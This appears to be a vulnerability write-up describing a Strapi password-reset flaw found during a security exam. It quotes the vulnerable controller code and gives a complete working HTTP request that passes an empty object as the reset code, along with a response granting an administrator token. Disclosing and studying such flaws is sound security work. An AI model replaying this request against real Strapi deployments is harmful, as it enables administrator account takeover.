Context: I discovered this vulnerability during the course of a web application security certification exam and submitted my exploit as the solution. Unbeknownst to me, the vulnerability was actually an unknown issue in the underlying library used by the exam application. I discovered this fact after reading the CVE entry for the issue I had identified six months earlier.

The strapi Auth.js controller allowed users to reset their password using the /auth/reset-password endpoint.

Code snippet showing vulnerable endpoint:

  async changePassword(ctx) {
    const params = _.assign({}, ctx.request.body, ctx.params);

    if (params.password && params.passwordConfirmation
     && params.password === params.passwordConfirmation && params.code) {
      const user = await strapi
        .query('user', 'users-permissions')
        .findOne({ resetPasswordToken: params.code });
  ...

The controller did not validate the contents of the code parameter. An attacker could trick the database query into returning the first user that did not have a reset token by setting the code parameter equal to {} (an empty dictionary).

HTTP request:

POST /auth/reset-password HTTP/1.1
Host: strapi.redacted.local:1337
Content-Type: application/json
Content-Length: 67

{"password":"password","passwordConfirmation":"password","code":{}}

HTTP response:

HTTP/1.1 200 OK
Vary: Origin
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 4
X-RateLimit-Reset: 1563373292
Content-Type: application/json; charset=utf-8
X-Powered-By: Strapi <strapi.io>
Content-Length: 376
Date: Wed, 17 Jul 2019 14:20:49 GMT
Connection: keep-alive

{
  "jwt": "eyJ...",
  "user": {
    "role": {
      "description": "These users have all access in the project.",
      "type": "root",
      "name": "Administrator",
      "id": 1
    },
    "confirmed": true,
    "blocked": false,
    "provider": "local",
    "id": 1,
    "email": "[email protected]",
    "username": "admin"
  }
}